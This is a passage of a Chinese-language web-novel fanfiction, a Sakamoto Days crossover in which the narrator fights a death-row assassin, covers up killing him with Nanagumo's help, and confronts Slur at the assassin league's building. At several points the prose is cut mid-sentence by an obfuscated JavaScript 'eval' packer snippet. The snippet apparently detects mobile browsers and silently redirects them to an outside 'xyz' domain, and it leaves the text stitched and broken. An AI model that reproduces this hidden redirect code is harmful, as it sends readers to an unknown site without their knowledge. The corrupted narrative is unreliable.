“慢着,说之前确认一下,这算青少年不宜吗?”他比着手势叫停。 “你这是在找啥存在感呢?”朝仓在桌下踢了陆无糖一脚。 “哎哟、我说嘛……”他作出一副神秘的样子娓娓道来。 5. 不久前,东南亚某座隶属于杀联的监狱里,斯拉将四个穷凶恶极的死刑犯带走了,并假装自己杀了他们。 而现在,那些死刑犯的活动轨迹,竟然明晃晃出现在了霓虹境内? “单纯想要搞破坏不太可能吧?难道说是特意雇了人来杀老板吗?”我皱着眉,将心里的分析一一说出。 但是。 “诶,不是,我说了什么很怪的话吗……”怎么都热泪盈眶地要谢天谢地起来了? “夜子,长大了。”老板抿了口凉茶。 “谢谢?” 无糖:“总之,你们需要严阵以待,不能再这样吃吃零食喝喝茶过去了!大小姐,跟我逃走吧,我绝对会保护好你的安全!” 朝仓:“我说你这图穷匕见得也太快了吧!” 少糖:“你保护什么呀你保护?跟你走指不定谁保护谁呢!我才不走!” 陆无糖似乎联想到了『大小姐飞身保护军师』的场面,安详地倒地了。 6. 第二天店里留了无糖当一日店员,权当象征性赔偿店里的损失。 送走这尊一步三回头的大佛后,我们便前往那家传说中的映像所,查阅有关那几个杀人狂魔的讯息。 “夜子姐,话说你之前不是吩咐我们,‘用不着打架的事儿不要叫我’吗?怎么今天……” 少糖躺在放映室的沙发里嗑着瓜子问我,我想了想回答道:“因为我变聪明了,感觉能听懂。” “变聪明了?” “嗯,南云说的。你们也看出来了吧?”我满意地挑起嘴角,内心很是骄傲。 “那个人怎么这么烦啊,为什么每天不是看到他在店里晃悠就是从你嘴里冒出来他名字。”朝仓信伸出手指弹了弹我扶手上的灰尘。 我:“是这样,我也觉得他有点烦人。” 大家都沉默地看起了录像。 7. 终了。 “哇塞,这死刑犯还真是四个神人。” 我和少糖对视一眼,纷纷在对方眼中看见了“不理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15409715|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的情感。 压缩狂,穿刺女,意义哥,还有一个丝线手,对杀人都有着扭曲的追求,看样子是真陶醉在杀人里了。 我在脸颊边扇着风缓解由于小空间中坐了四人的热意:“真要说的话,杀人不也就那么一瞬间的事吗,究竟有什么值得兴奋的。” “前、前辈你是这样想的吗…很奇特的观点……”朝仓信莫名咳了一声。 “对吧,我觉得吃饭更有意思才对。” “你能这样想真是太好了!”他握拳,“有饭吃真是太好了!” 没事,我已经能够习惯后辈时不时令人不解的举动了。 8. 危险何时来到? 这个问题始终像达摩克利斯之剑悬在商店的电灯泡上。明面上,我们依旧每天一切如常地营业、嬉笑、驱赶杀手,然而我看得出来,大家都在担忧着如果那四个死囚同时攻击商店会怎样。 为此我和南云通了一次电话:放任危险分子入境的杀联绝对要负主要责任吧! 对此南云回复说,虽然还没得到确切消息,但ORDER这边已经有所动作了让我不用担心。说是杀人狂魔,但终归还是一盘散沙的业余爱好者,按行动轨迹来说也不可能一起攻打上商店。 也就是说,只要我和老板任意一个待在商店里,就能够保护安全。 区区死刑犯而已,无需在意。 更何况我已经在店里的防御系统再次加固,枪械防御之下还有一层又一层的闪光弹、音爆弹等着他们。 虽然这样弄不死他们,但可惜我也不能弄死他们。 9. 期间势羽夏生又为了他的论文来过一次,然而我也正在备战死刑犯,没有多余的功夫配合他的调研。 “我的刀,你拿走吧。”我把陪伴我许久的太刀交由他手里,“当然不是送你!只不过最近店里可能不太平,你还是别来这里比较好。” “那你呢?赤手空拳也很自信啊。” 势羽夏生没有波澜的眼神依旧让人看了很火大。 “我又不止一把刀。”而且会更强。 “我能……” “你不能。”我果断回绝,“有一把太刀还不满足啊!” “……知识永无止境。” “真是够了。” 不过他其实也只是耍耍嘴皮子,真遇到麻烦他还是第一个跑的。 “感谢招待。”他抱着赶上身高的太刀,额头隐约渗出汗珠,“下次我会带着新款可丽饼来拜访的。” 10. 本以为送走势羽夏生就够了,没想到在这之后,又有一位意外来客光顾。 ——可能也不算意外吧。 毕竟是我先邀请了人家的。 我挠挠头,把在门外背着书包探头探脑的虎丸接了进来。 43.兔团子!再次确认! 1. 虎丸就是我先前在甜品店里偶遇的那个小女孩,是个笑起来很可爱的高中生。 我记得她的枪斧很帅气。 “坂本商店……是这里吧?”她推开门眼尖地发现了我,“啊,夜子亲!还记得我吗!” “怎么会不记得?”我拍拍围裙,走过去给了她一个巨大的拥抱,“说起来还是因为你的缘故我才有了‘要不要试着买个手机’的念头呢!” 我把兜里的手机放到她面前晃了晃,她眼睛亮亮的,惊讶地捂着嘴,手指上美甲的水钻亮晶晶的很是可爱。 “呜哇!好可爱的手机!” “是吧是吧!我还学会了好多新奇的功能哦!” “那来加line吧!还有ig!夜子亲~和我互fo和我互fo~” “好哦……这下就OK了!” 虎丸当即就拉着我走到摆满琳琅满目的货架边,让我站在后方微微俯身,然后抬起手臂,嘟起嘴在脸边上比了个耶: “好不容易又见面了,来合照吧!” “但是,我、我该怎么拍呢?” 虎丸摆的姿势十分时髦并且变化多端,总之就是非常有活力。 在她的指导下,我总算是在比耶之外学会了至少十种不同的拍照比心方式。 她的流水线p图操作也是非常快速熟练的,几分钟后,一套头顶着猫咪或者狗狗耳朵的合照便发送到了我的手机上。 “我还是第一次拍出这种照片……” “怎么样怎么样?” “……太可爱了!虎丸你看起来真的像一只小猫咪诶!” “唔!”她忽然站直了,细细地搓着书包背带,眼神不住地看着脚下,“真、真的吗……我都有点儿不好意思了……” “不信的话……你们来看哦!这真的很不错吧!” 我把一旁看呆了的朝仓和陆叫了过来,看到他们那副表情,我才想起来从刚才开始还没相互介绍过。 好在他们几个都是年龄相仿的年轻人,说了几句话便熟了起来。 2. 而话题便自然而然地拐到了“坂本太郎”身上来。 已知:我家店长名为坂本太郎,虎丸酱的激推名为坂本太郎,朝仓信的激推名为坂本太郎,那么,当三者碰面时,会有什么结局呢? 虎丸把书包上挂着的白发男子挂件取下来,叉腰在朝仓信面前气势汹汹地展示着: “你说这个?这可是我亲手制作的我家坂本大人的挂件啊你这家伙!” “竟敢用那种可疑的目光看待他!” 朝仓信似乎在虎丸的大脑中读到了什么讯息,吓得咬唇瑟缩一步:“毕竟……坂本大哥现在……已经不是这个样子了嘛……” “你知道如今坂本大人的下落?……等一下难道你也是坂本厨?”虎丸的睫毛扑闪扑闪眨了两下。 “说到对坂本大哥的心意,我可不会输给你这小丫头!” 朝仓信同样坚定了起来,指向刚从后门走进来的老板,他正看起来很努力地穿上绿色围裙: “坂本大哥都变成那样了!你还会心甘情愿推他么!?但是我可是依旧一心一意追随着他哦!” “……我变成哪样了?”眼看着老板背后似乎要燃起一堆熊熊烈火。 “坂、坂本大人……?” 虎丸不可置信地从随身携带的卡册中抽出一张他年轻时的照片,然后放到面前略带颤抖地比对着:“不是吧……虽然有一丝神似但绝对是骗人的吧!” “我的偶像这是被连续砸进了三次十年火箭筒吗!?——” “虎丸酱……你的声音都劈叉了……” 作为实际上一切的知悉者,我对这个少女梦想的破灭有着不可推卸的责任:“但是呢,虎丸……不是说偶像不可以谈恋爱结婚的吗,所以我那个时候就擅自把老板排除在外了……” “不是你的错夜子亲。”虎丸愣了下又开怀大笑,“呜哇~竟然直接把偶像当作那个意思了吗!这不是超好笑的吗!” “你不在意吗虎丸?” “哦,忘记跟你说了,一分钟前看到那个人的样子我已经决定脱粉了喵。” 哇塞,已经变成“那个人”了吗…… 我稍感抱歉地看了老板一眼,他还完全被蒙在鼓里,殊不知自己的形象已然一落千丈。 3. 请示过后,我带着抱歉的心思赶紧带着虎丸离开了战场。 大概是出于一种磁场力吧,我觉得和虎丸在一起就得去甜品店之类的可爱地方,所以自然而然便走去了先前那家咖啡厅。 正好是在营业时间,不过我们这地方比较偏僻,也没什么年轻人,店里几乎是处于一个清闲的状态。 店长小姐依旧扎着一条松散的低马尾,这次我总算看清楚了,她的名牌上写着“梨香”。 回忆起来,由于生活被一系列杂乱的事情打乱,我也已经很久没来了。光是看菜单,感觉便更新换代尤为明显。 先前我只点过神似兔团子的红豆馅甜品,这次同系列产品就已经更新了一列。 话说在咖啡厅里这种格格不入的团子真的有人会点吗? 当然除了我以外。 我又点了一份新品“噼哩啪啦兔之回忆”,这糟糕的起名功夫让我更想尝一尝了。 虎丸则是如常点了份松饼和芭菲,紧接着刻在灵魂里的肌肉记忆让她不由自主从背包里掏出那堆“推活用品”,摆上桌才才失魂落魄叹了口气: “啊,现在已经没有推活的必要了呢……” 还没想出话来安慰,她便自顾自地调理好了:“既然我推‘已死’,那就趁此机会摆一个祭奠阵吧阿门。” “感谢坂本大人,让我又一次体会到新的情感——退坑后的释然。” 我试图快速理解:“那之后打算怎么办呢?对你来说,‘自推’是一件很重要的事吧?” 虎丸如同发牌一样手速飞快地将一桌纸片铺展开来,摆成规规整整的阶梯形,闻言她动作一愣:“唔、喔,这个……” 随即换了个姿势,以一种认真严肃的神情上下打量着我: “不如我来推你吧夜子亲?” “欸欸欸——讲真?” “嗯,而且越想越可行了!”她一拳拍在自己手心,“首先第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我擦了把汗,好在不管怎样,虎丸也答应我会远离危险了。 6. 虽然很不爽兔团子被做成这副鬼样子,我也没工夫和店长去投诉,现在的我可是一心记挂着守护坂本商店。 回到店里,我后知后觉地感受到身体中涌上一股熟悉的温暖,不过那也只是一晃而过。所以我并没有在意。 7. 最近由于死囚的迫近,我们店里也是总算用上轮班制了。 睡前和大家再次核对了下第二天的岗位,我便回到帐篷里,磨了磨刀,安然入睡。 只是没想到,死囚对商店的进攻,还就偏偏选在了我在店里值班的这时候。 ——大力压缩狂魔,米尼玛力斯特,来袭。 8. 我是在监控里看到他朝商店走过来的。 店里唯一的战力只有我一人,我赶忙催着葵从后门悄悄离开,擦亮了刀放在脚边准备应战。 朝仓和陆两人去了家具城采购材料,老板说是去找了真霜平助进行临时训练,顺带一提,我还托他给平助带了些上次没能准备的见面礼。 在群聊中发了条语音简单说明情况后,我便端上了笑意盈盈的营业状态,拨开柜台边上的隐藏机关盖子。 ——好期待双重防御系统会造成什么样的伤害啊! 等一下,这种激动感是百龙夜行后遗症吗? 我牵动嘴角笑了两下。 44.天外有天 1. 如同刺猬般梳着短辫的高大男人像是机械人一样,冷冽无情地走进商店。 但这可不是说“欢迎光临”的时候。 他目空一切地站到柜台前:“坂本太郎,在哪儿。” “老板就在泡面的货架边~”我笑着说。 然后就在他将信将疑地回首时,我按下了防御面板。 2. 即便是闭着眼睛也能感受到一阵爆闪,更别提对手这样的毫无准备者。 那个米尼什么的捂着眼睛跌跌撞撞倒向了冰柜,我便趁此机会释放了铁板的重力撞击,只听沉闷的“砰”一声撞击,那厚实的铁板就狠狠拍在男人胸前。 “哈……” 出现了,电影里面那些怪咖被揍了以后会发出的诡异笑容! “这种小儿科的纸片子,也算是什么攻击吗?” 三层加固的铁板对他并未产生什么实质性伤害,一眨眼的工夫就在他手里被团成一颗橡皮大小的不起眼小球。 当然,我也并没有指望着仅凭一块铁板就给出critical hit,看过死囚纪录片就会知道,这人尤以力量著称;而我只是想物尽其用,看看防御系统的整套功效。 趁着米尼斯特自我陶醉地搓铁球,我早就启动了天花板上的枪械炮台。 换句话说他真的有必要在战场上贯彻压缩到底的仪式吗? 势羽夏生当时帮忙改装了机关作为研究我太刀的交换,不仅加强了威力与精准度,而且还能够放置某些特种子弹——说的就是我带来的另一些家乡特产,比如说冰结弹与电击弹。 更有实力的弹药并非没有,但是倘若换上超级无敌的龙击弹,恐怕我们商店就没有了。 感人肺腑的是,冰结弹中了两发,电击弹中了一发。 或许没有人想知道但这已经是我使用远程武器最好的成绩了。感谢工科生势羽的改良。 3. ……我不是因为轻弩重弩弓箭一个都用不好所以才练习太刀的。 4. 总之尽管米尼本人意志依旧倔强,但整个人的肌肉都暂时僵硬了,我走出柜台,轻而易举将他绊倒在地。 “开什么玩笑……”他抬眼愤恨地盯着我,“你这样的弱小之辈没了那堆破铜烂铁就什么也不是!” “破铜烂铁?”我一脚踩在他的胸口来回碾了碾,“那可是透明人和老板一点一点改造出来的优秀作品啊!你一个败在‘破铜烂铁’底下的蠢货怎么说得出这种话的?” 5. 脸上有两道二维码的米尼作出了他人生中最错误的一个决定: 他要和弱小的我比力量。 “可以可以!”我用力点点头,“我赢了的话你得告诉我斯拉的情报。” 米尼从微微凹陷下去的地面上站起身来,仿佛从来不曾倒下过一样恢复了自信:“你很想被捏成球啊……” “对的对的,我输了就凑过来让你捏个爽。虽然不可能啦。” 比赛项目自然是掰手腕,但我的对手显然没把我放在眼里,放在电视剧里,我这应该是叫做“扮猪吃老虎”的戏路。 他满脸「就这样啊完全不够格」的漠然,轻松甩了甩手,坐在我对面与我两手交握。 自信的样子绝对想不到我已经提前喝下了鬼人药和怪力种子。 更何况他刚刚还受到炮台的重击,怎么想优势都在我这儿。 6. 轻松取胜过后,我还发现自己故意不小心把米尼的右手捏坏了。 这双捏碎了他每个关节的手,就这样捧住了他两侧的脸颊,我笑着向他问道: “告诉我斯拉的消息可以吗?任何一点都要详细地告诉我。” 米尼吓坏了,估计是害怕我会突然发力拧断他脖子,为了让他放轻松一些,我颇为轻柔地拍了拍他的脸颊,并告诉他我们的家规是不许杀人。 然后他就颤抖着说出了与那个鹿头人的会面,有且仅有这一条消息。 鹿头人的事情我听老板在研究所那天的复盘讲过,并不值得一提。 似乎再怎么盘问也问不出多余的成果了。我正盯着他犹豫该怎么处置,没想到米尼却一反常态地吸了口气,嘴唇翕动着: “原来是……特密级……” 什么秘籍? 我不由得分出了些心神思索这是何意,没想到看似失去战意的男人此刻却如同打了鸡血一样向前挥拳,想趁我分心进行奇袭。 即便一只手已经破碎得使不上力了,可他还是不自量力地用仅剩的另只手攻了过来。看样子是不信我们的不杀原则,想要最后搏一线生机。 我还是在分心,几乎是出于战斗习惯地和他扭打在一块儿,至于用了几分力只有他自己知道。 他给了我三拳,我也给了他三拳,正纳闷下一个回合为何迟迟不到时,我低下头,才发现米尼已经面颊凹陷血流遍地。 他已经死了。不呼吸了。 被说着“不杀”的我打死了。 7. 电话铃不合时宜地响了起来。 我站在原地没有接,蔓延的血液沾染上了鞋跟,米尼的五官结成了一团。 要被赶出家门了。 他们马上就会回来,然后看到这幅景象,然后老板会生气,葵会遗憾地告诉我我并不适合做他们的家人。 掐紧了掌心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439759|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我抬眸定在原地,死死地看着监控摄像头不知所措。 “……我还以为我会来得正是时候。” 先一步进门的却并非他们中的任何一人。 8. 南云一如既往地背着他的刀盒出现在了门口。 指尖略微有些颤抖,我本想冷静地阐述这一切,却发现喉咙根本发不出声音来。 “唔、呃……他……” “不用说,我明白。”南云沉默地将我转了个身。 “就当是我杀的。”他拍拍我的脑袋,“就像上次说的,万一你之后杀boss杀错人了的处理方法。” 我点点头:“但是尸体一看就不是你杀的。” “我可以补刀。” “店里有监控,而且他们可能马上就会回来了。” “这个简单,我能全毁了。” “我鞋上沾了血。” “……烈焰。”南云突然叫了我的名字,“不要再想了。看着我,什么都不想地、拥抱五分钟。” 那段记忆近乎空白,我的脑海里只剩下了南云胸膛里心脏有力的跳动,还有他抚摸过我头顶的双手。 我似乎还看着他沉默地单膝跪下,为我擦去鞋底的血迹,还把手机递给了我,示意及时去查看信息。 ——老板问我战况如何了,并且拜托我带些能量棒前往某个不知名的诊所。 “再和我说一遍,今天这场战斗,是谁完成的?”南云用力地握住我的手。 “是南云。”我说。 “对,是我。”他挠挠我的下巴笑了笑,“感谢你送来的奖金一份。需要我带路去坂本那儿吗?” “不用了,谢谢你南云,我可以看导航。”我深呼一口气恢复冷静,“话说,你知道杀手界有什么秘籍吗?” “诶?” “死掉的那家伙,好像说过我有什么秘籍?我可能听错了。” 南云的神色凝固了一瞬,随即又皱起了眉。 他叫我等着,然后叮叮哐哐一阵,从死囚身上口袋里找到了那线索。 “这是……我?” 那份长长的待杀清单上翻到尾页,赫然贴着一张我的照片,上面写着寥寥无几几个字: “百龙夜子。特殊秘密对象。杀,或是带回。” 9. 上了这份所谓的名单并不让我感到畏惧,然而我还是不由自主地咬牙切齿。 因为那照片,是我穿着侍应生服、在前往伊豆的航线上,憬特意去借了相机为我拍摄的。 斯拉那些恶徒,究竟对我的朋友憬,说不定还有他的弟弟乐,做了什么才能拿到这照片!? 我绝对不会放过! 45.再次相见的时候 1. 诊所开在居民区的僻静处,稍作心理准备后,我推门而入。 “大家辛苦了!”把两手提着的满满的白色购物袋放上桌面,我坐到了少糖身边,“看消息你们好像经历了一场大战,伤口怎么样?” “我倒是没什么大事,但信还是太菜了,刚刚还躺在床上嗷嗷叫。” 少糖动作驾轻就熟,往我嘴里塞了一瓣蜜柑,汁水很甜很充沛。 “夜子姐你……” “啊这不是平助吗!又见面了!”我冲到他面前拍拍他的肩膀,“我送给你的礼物怎么样?” “哦哦哦!你好夜子!哔助有新衣服穿也很开心,是吧哔助?” “哔!——哔!——”黄色的小鸟落在他肩头啼叫。 “夜子前辈商店那边……” “一切OK,你就好好休息不要乱动了!” 我扭过头:“不过角落里那团是……?” 2. 长而柔顺的刘海遮蔽住了两只眼,我盯着他看了一会儿才领会到这个发卡头我曾见过的。 “死囚怎么在这儿?” 阿帕特双手抱着膝盖,幽怨地抬眸看了过来,嘴里还不安地啃着大拇指的手指甲,碎碎念着什么。 “所以是俘虏吗?”我不自觉绷紧了肌肉。 “我们一般在人家面前不说这个,夜子前辈……”朝仓信也尝试着给我投喂了一瓣蜜柑,“现在阿帕特算是友方。是吧?” “我只是想多延续一些我们之间的联系……”他重新低下了头。 不管怎样,朝仓信还是自觉充当着讲解员向我具体讲述了商店外发生的一切,他似乎也看出了我的疑问: “坂本大哥的话,宫婆婆正在隔壁和他说话。啊,宫婆婆就是这里的医生哦。” 我目前也没有那么想找他就是了。 3. 也正是此时,老板有些面色凝重地从隔壁房走了出来,身后正是一位身形佝偻的婆婆。 老板向我点了点头当作招呼,随即自然地落座于几人之中,不出所料地向我问出了那个问题: “商店那边怎么样,你没受伤吧?” 何止没受伤。 我笑吟吟地说出了那个和南云排练过多遍的说法: “一切都很好。葵提前出门了,商店也没受到很大破坏,防御系统很管用,而且南云最后及时来扫尾了。” “抹杀?” “对,抹杀。” 即便已经很努力地不去想,但那画面却不受控制又一次浮上脑海。 皱眉驱散那回忆,我抬眼就蓦然与朝仓略带惊愕的目光对上了视线。啊,超能力者。 「看出来了?」 「嗯,是我干的。」 「你会保守秘密吗?我还不想离开这个家。」 我这样向他传递着自己的心声。 他低垂的睫毛颤了颤,默不作声地点头。 我也不想这样的。 4. 于是就到了交换情报的环节。 朝仓信倒了杯热茶给我,坐到我身边,然后聚精会神地听起阿帕特讲话。 “……所以说,他们真正的目标是趁防备虚弱一举摧毁那个杀联,我劝你们还是别管那么多了。” 阿帕特规规矩矩地剥开手里的蜜柑垂头说着。 左右环顾一圈,只见大家都神情严肃了起来,不过至于说他的劝告,却都是不会听的。 虽然此行注定危险,但为了探求斯拉的情报,杀联这一趟是必去无疑的。 决定已经下好,我又问阿帕特:“为什么我也在名单上?” “你?”他皱眉似乎不解,随即慢吞吞从口袋中取出均匀对折的一沓死亡清单,平铺在了桌上。 “最后一页。”我提醒他。 大家闻言也都聚集过来,因此那红色标注的“密”字似乎格外显眼了。 “为什么我是特殊秘密级别?还有,这张照片是从哪儿来的?” 阿帕特摇摇头,对此一概不知。 “不过这人看着怎么不像你……” “这是我旅游路上交到的朋友给拍的。所以我很担心他们是不是落入了斯拉的毒爪。” 我闭上了眼,阿帕特又回忆起了唯一一件事,那就是鹿头人曾经给出的指示:特密级是斯拉的所有物,不管是现在还是将来,是生抑或是死。 “喂……这种话听起来很糟糕啊……” 朝仓信额头滴汗,甩了甩身上泛起的鸡皮疙瘩。 最终还是老板拍板定案:这种事,果然还是去杀联找斯拉本人问清楚好了。 5. 照理来说,老板、我、阿帕特三个人就足够了,刚受了重伤的朝仓还是以休息为重,只不过他那样毅然决然地坚持要去,我们也没有别的办法。 更何况此番对峙如果有读心术加持绝对会更有利些。 我们几人赶去了杀联大厦对面的一座大楼楼顶。 天台的风吹得簌簌作响,看不见一朵云,天空不过是那样沉默着倾轧下来,对面方形楼房的玻璃面被擦得锃亮,可由于反光却仍看不清其中构造。 对这个地方熟悉的唯有坂本太郎一人,他身上围裙被不定的风刮动,我背着新太刀在后方看着他们,心中突然莫名抽动了一下。 几乎与此同时,朝仓信回头与我对视了: “夜子前辈,我会努力用自己的方式变强,到那时,你可不可以多依赖我一点。” “那就到那时候再说?”我摸摸鼻子。 “好!请等着我!”他不知下定了什么决心。 老板扛着两个,使用阿帕特编出的丝线,从天台荡到那边的杀联。这是一个一贯不成形的作战计划。 “那你呢?” “再怎么坚固的线也不能搭四个人,尤其是我今天特地穿的这一身甲。不用担心,我自有办法。” 在三人抱作一团一鼓作气飞身而去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443801|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在楼际划出一道优美的弧线后,我向后踏了几步,目光一凛,浑身的肌肉迸发出一瞬间的力量冲刺向前。 坠落。坠落。 我在空气中翻身又顺手丢出翔虫疾翔一段,然后又是重复一遍,终于算是抓住了杀联大厦的墙面。 接下来只需飞檐走壁,一路攀上直到三人撞破的玻璃窗。 只不过玻璃墙面比我想象的还要棘手几倍,在我附上墙面的那一瞬间我才意识到这有多吃力。凭借我平常的耐力条可能并不足以支撑自己到达那个地方,大概率会在半路失足摔落。 而我的翔虫槽还没完全回复。 原以为这是一场豪赌,然而我似乎错估了自己的耐力,在四分之三处我依旧感觉到有使不完的力气。 仅仅疑惑一瞬,我便借着这劲头继续攀爬。 玻璃墙对攀爬者还有一个劣处,那就是其中光景我能看得一清二楚。 从近处看没有反光,每攀上一层都是极致的血腥场景,办公桌、飘落在地的纸张、堆叠成山的尸体、流尽干涸的暗红血液。 我犹如在一层层攀爬人间地狱一般。 6. 手脚并用翻进了三人砸出的玻璃洞口,手掌从玻璃茬子上碾过,划出几道微不足道的血痕。 本以为这里暂且没嗅到血腥味会是一片安宁,我站起身却意识到这片寂静更加诡异。 老板他们站成一排挡在我身前,我从缝隙中瞥见一片白色的衣角。 心跳奇怪地加速了些许,我拍拍朝仓信的肩,叫他给我让出一个空位。 他听话地往右侧过身。我向前一步,抬眼见着对面来人时可算松了口气。 “憬?你没死啊!” 我大叫一声,随即拔腿跑到那个温和儒雅的青年身边,为了确认他真的活着,激动得从他的脸蛋一路摸到了胸口、手臂还有腰侧,直到感受到皮肤上传来的热意才堪堪松手。 他的嘴角依旧挂着像是海上微风一样的清浅笑容,不知不觉让我放松了许多。 “你知道吗憬?这里的某处有一个叫做‘斯拉’的脑残,是个超级危险人物,你要不快点离开或者躲起来吧!” 我握住他的手坚定地说道:“不过别担心,我会保护你的!呃,还有你后面那个朋友?” “超级、脑残?我还是第一次听见这个说法……” 他的大拇指微微磨蹭着我的指关节,送上阵阵痒意:“不过,你会站在我这边的吧?” 憬在我耳边低语着,明明是纯白色,我却感受到一种近似于恶魔的呼唤。 我愣了愣不明所以:“呃、嗯,虽然不懂但应该是吧?——但刚才开始我家老板一直叫我过去,我先……” “唔……” 我迷茫地睁圆了眼。 憬温热的大手扶住我的后腰向我靠近,然而我身前却有一阵微凉从腹部蔓延开来。 垂头,一柄闪着寒光的小刀正被憬握在手中,其刀尖没入我的腹部。 46.那些回忆算什么 1. 憬,我自认为的朋友,刚见面就捅了我一刀。 虽然伤害没多大,却给我造成了深深的不解。 “你应该加入斯拉。” 他轻松地抽出了小刀,指尖抹去刃上鲜血。 2. 首先我不会加入斯拉,其次哪儿有人招兵买马结果上去先给人一刀的? “超级无敌大脑残……”我暗自又给斯拉/有月下了定义。 攥紧手里刀柄,我凝神看向视野上侧时不时闪动的红色任务条,退到老板他们身边。 他没有说话,但从骤冷的气场里还是能感知到他对斯拉害我流血的愤怒。朝仓信扶住我手臂,眼神止不住地撇向我的腹部,大概想要帮我止血。 不过我真的没什么事。也幸好斯拉捅的是我。 “夜子,不要再动手了。”老板没有转身,但我能想象出他那种沉静无言的表情。 我依旧在他身后看着他的围裙和衣角,没办法多说一个字。 ——直觉上,老板和斯拉二人之间的气氛实在怪异,犹如海中暗不见底的漩涡洋流。 3. 两名白发的男子面对面,于飞扬的尘土中对峙着。 “有月,你还活着呢。” “很遗憾,的确如此啊。不过现在,我更喜欢你能称呼我的另一个名字,‘斯拉’。” “本来想问你为何事到如今还要对隐退的我发布天价悬赏,不过……无论出于什么原因,你如若对我的家人出手,我绝不会原谅你——” 一语未毕,他便率先出手,充满爆发力的劲拳直直冲向斯拉腹部,那个我受伤的位置。 然而斯拉也并非什么善茬,他几乎是微不可察地抿了抿嘴角,随后轻松地跳开,甚至一手还插在大衣的口袋里。 “人生果然无常,是吧?” 他掩藏在阴影之下的双眸在某一瞬间紧紧锁住了我,那之后却又若无其事地转开,轻蔑地笑着凝视着坂本太郎。 那笑意仿佛在说:这就是传说中的最强杀手么? 我们剩余三人在后方聚精会神观看着这场无法插手的战斗,当然也没忘了斯拉身边那位眯眯眼笑着的同伙西装男。 朝仓信正欲出马与之对战,却没想到老板那两人的动静竟突然间停下了。 斯拉一句轻笑,在空旷的场地之间回荡得格外清晰: “撤不了的。那悬赏可是已死之人的最后力作。” “赤尾莉昂,真是了不起。” 4. 又是一个未曾听说的名字。 虽然是“已死之人”,不过这名字背后的人物还有故事,却有着足以令交战的二人再次停手的威力。 “你还有什么脸面提这个名字。” 平平的语调中暗藏的是坂本太郎无法熄灭的怒火。 “她死了。我杀的。” 斯拉那旁若无人的态度确实叫人着急,不过同样也正是因为处于旁观者的角度,我见到他垂落在身侧的右手小指似乎要反抗般颤了颤,最终又无力地回复平静。 总觉得,其中有所隐情。 然而其中种种,作为局外人的我并没有发言权,那个“赤尾莉昂”与我,也没有一点关系;我只想知道,倘若斯拉实则对某段年久失修的回忆有所动摇,亦或是愧疚的话,那另一个“憬”与我的游轮回忆又是真是假? 我不想就那样,被骗了然后一无所剩。 5. 悄无声息地磕满了药,将身体素质拉到最顶,我沉着气呼吸了一回合,便决定好忽略老板要我在一旁呆着的劝告,径直走向了二人面前。 挥刀,划出优美的弧线。我将太刀横在二人之间发问道:“就算像你说的那样,对悬赏没法撤回,你猜猜我们会不会停下对你的讨伐?” 只见斯拉那双似乎变得无机质的眼睛缓缓锁定住我:“那,就缠绕得越来越紧密吧……” 这,什么怪咖啊…… 我不由得无奈抽动了下嘴角。 强硬地隔离开老板对我的劝阻,我再一次赌上了一把,对上了那个人的视线: “如果你想说,我们那两天的回忆都是假的话,恐怕刚刚那一刀捅得还不够深,不够把我的回忆全部销毁掉。” “我是说,总要让我和你单独打一架报仇雪恨吧!” 我终于跃跃欲试着向他亮剑。 6. 在游轮上那时候,我总感觉憬这个人文文弱弱的,没什么力气,也管教不了叛逆的弟弟,心里一下对他降低了防备。 印象里毫无“ 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刀身上的黑红色锯齿撕咬着斯拉那根细细的钢鞭,我用力一扯,他便一个踉跄退到墙边。 身后较远处老板正与另一名西装男对打,我提着刀上前一步堵住斯拉的去路,他身上燃着的火星子出其不意炸开了花,让他微微颤了颤。 “呵呵……”斯拉放下武器低声笑着,“夜子,你不适合那里。和我一起来缔造新世界吧。” 我感觉和他说不通话,只是顺着感觉伸手掐住他下半张脸,他也不反抗,就那样淡淡地、仿佛居高临下地凝视着我。 新世界? 我哑笑道:“我已经来新世界三年了。” 7. 脚下突然间一阵震动,我下意识扑到斯拉身边,将他牢牢束缚在我手里。 那动静不小,甚至感觉像是楼房本身发出的轰鸣,我警惕着四周,老板那边也歇了下来,一时间空气都静了下来,仿佛墙的那边将要钻出什么猛兽。 我心里默默倒数着,三、二、一! “砰!——” 墙壁轰然倒塌,尘土飞扬,我眼前闪过一道熟悉的亮光,而在一团飞尘中,两个身影破空而来。 47.参见太刀侠长老! 1. “遭不住遭不住……” 扬尘还未消散,一个眼熟的身影便吵吵囔囔走了出来,一路来到我和我紧紧锁着的斯拉身前。 